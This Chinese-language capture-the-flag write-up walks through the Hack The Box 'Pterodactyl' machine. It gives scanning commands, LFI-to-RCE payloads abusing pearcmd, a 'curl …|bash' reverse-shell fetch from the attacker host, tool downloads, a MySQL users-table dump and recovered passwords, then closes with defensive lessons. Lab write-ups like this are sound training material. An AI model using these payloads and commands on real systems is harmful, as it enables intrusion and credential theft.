在 Hack The Box 赛季10 的 Pterodactyl 靶机中,我们将深入探索一个基于面板中间件的真实攻击链。本文不仅复盘从 Web 应用枚举到服务端 RCE 的完整过程,还会剖析 PHP 文件包含变种漏洞的利用技巧,并分享在后端架构中如何规避此类风险。无论你是渗透测试新手还是后端开发者,都能从中获得实战启发。
一、信息收集与面板服务识别
任何一次成功的渗透测试都始于细致的信息收集。针对 Pterodactyl 靶机,我们首先使用 nmap 进行端口扫描与服务识别,快速掌握目标暴露的攻击面。Pterodactyl 是一款开源的游戏服务器管理面板,采用 PHP 编写,其背后依赖复杂的微服务与 API 通信,因此识别出版本信息对后续漏洞定位至关重要。
10.129.16.212
nmap 扫描结果揭示了 Web 服务、SSH 以及可能的数据库端口。接着,我们访问目标站点的 /changelog.txt 文件,发现其版本更新记录中提及了一个存在 RCE 漏洞的 Panel 中间件。这提示我们:该面板的某个组件未及时修补,可能成为突破口。
sudo nmap --top-ports 10000 10.129.16.212 --min-rate=1000 -oA ips_quick_TCP_nmapscan && sudo nmap --top-ports 10000 10.129.16.212 --min-rate=1000 -sU -oA ips_quick_UDP_nmapscan && nmap -p- 10.129.16.212 -oA ips_full_TCP_nmapscan --min-rate=1000 && sudo nmap -p- 10.129.16.212 -sU -oA ips_full_UDP_nmapscan --min-rate=1000
⚠️ 注意:在真实的后端架构中,版本泄露往往源于配置文件或静态资源未做访问控制。建议开发者在生产环境中移除敏感文件,并通过 API 网关限制对内部服务的直接访问。
二、Web 应用枚举与 RCE 漏洞利用
确认目标面板后,我们开始对 Web 应用进行目录枚举与参数探测。通过分析请求响应,发现了一个可疑的 API 端点,其参数处理逻辑存在缺陷。经过大量尝试,我们确认该漏洞是一种 PHP 文件包含的变种——攻击者可以控制包含路径,并借助 pearcmd 这一特殊文件实现远程代码执行。
ffuf -w /usr/share/seclists/Discovery/Web-Content/directory-list-lowercase-2.3-small.txt:FUZZ -u http://pterodactyl.htb/FUZZ -e .php -mc all
ffuf -w /home/kali/Desktop/Info/SecLists-master/SecLists-master/Discovery/DNS/subdomains-top1million-110000.txt:FUZZ -u http://pterodactyl.htb/ -H 'Host: FUZZ.pterodactyl.htb' -mc all -fw 18
下图展示了枚举过程中发现的敏感接口与响应特征:
/locales/locale.json?locale=../../../../../../../../../../usr/share/php/PEAR/&namespace=pearcmd&+config-create+/''+/tmp/info.php
针对该漏洞,我们构造了精心设计的 payload,利用 pearcmd 写入恶意内容并触发包含,最终在服务端执行任意命令。这一过程体现了后端开发中文件包含漏洞的严重性——一旦攻击者能控制包含路径,整个服务端便可能沦陷。
/locales/locale.json?locale=..%2F..%2F..%2F..%2F..%2Ftmp&namespace=info
成功执行命令后,我们立即建立反向 shell,获取一个交互式会话。此时,我们已从 Web 应用层渗透至服务端操作系统层。
/locales/locale.json?locale=../../../../../../../../../../usr/share/php/PEAR/&namespace=pearcmd&+config-create+/''+/tmp/shell.php
/locales/locale.json?locale=..%2F..%2F..%2F..%2F..%2Ftmp&namespace=shell&cmd=curl+http://10.10.14.14/pwn|bash
三、服务端提权与数据库信息挖掘
获得初始 shell 后,我们上传并运行 linpeas 脚本,自动化枚举服务端上的提权向量。linpeas 输出显示了一些可疑的 SUID 文件、计划任务以及数据库配置文件。 在微服务架构中,数据库凭据常被硬编码在环境变量或配置文件中,一旦泄露,攻击者可横向移动至其他服务。
wget http://10.10.14.14:81/linpeas.sh && chmod 755 linpeas.sh && ./linpeas.sh
我们尝试对发现的用户账户进行密码喷洒攻击,但并未成功。这表明目标系统的密码策略较为严格,或者我们获取的凭据列表不够精准。
PteraPanel
随后,我们转向检查服务端上的邮件与用户目录,发现了一封包含敏感信息的邮件。邮件中提到了 udisk2 相关的漏洞,这暗示了一条潜在的提权路径。然而,在实际测试中,我们未能根据描述完成攻击——可能是环境差异或利用条件未满足。
wget http://10.10.14.14:81/pspy64 && chmod 755 pspy64 && ./pspy64
pterodactyl
PteraPanel
mysql -h127.0.0.1 -upterodactyl -pPteraPanel -e 'Show databases;use panel;show tables;Select * from users;Select username,password from users;'
下图展示了邮件内容与相关服务配置:
ssh phileasfogg3@10.129.16.212
!QAZ2wsx
尽管本次提权未能成功,但这一过程提醒我们:在后端架构中,任何暴露的 API、数据库连接串或系统工具都可能成为攻击者的跳板。建议定期审计服务端权限,并使用最小权限原则运行微服务。
[AFFILIATE_SLOT_1]
四、防御启示与最佳实践
通过 Pterodactyl 靶场的实战,我们可以总结出以下防御要点,帮助后端开发者与运维人员加固服务端安全:
- 严格过滤文件包含路径:避免直接使用用户输入拼接文件路径,使用白名单机制限制可包含的文件。
- 及时更新面板与中间件:关注官方安全公告,修补已知 RCE 漏洞,避免因版本滞后引入风险。
- 最小化服务端权限:运行 Web 服务与微服务的账户应仅具备必要权限,禁止使用 root 或高权限账户。
- 敏感信息保护:数据库凭据、API 密钥等不应硬编码在代码或配置文件中,建议使用密钥管理服务。
- 日志与监控:对异常文件包含、命令执行等行为进行实时告警,及时发现入侵迹象。
✅ 此外,在微服务架构中,服务间的 API 调用应实施双向 TLS 认证与细粒度授权,防止攻击者利用一个服务的漏洞横向渗透至整个后端系统。
[AFFILIATE_SLOT_2]
总结
Pterodactyl 靶场展示了从面板 RCE 到服务端提权的典型攻击路径。我们利用 PHP 文件包含变种漏洞获取初始访问,并通过 linpeas 枚举提权向量。虽然最终提权未成功,但整个过程凸显了后端架构中文件包含、权限配置与敏感信息保护的重要性。希望本文能帮助你在渗透测试与防御建设中更进一步。
浙公网安备 33010602011771号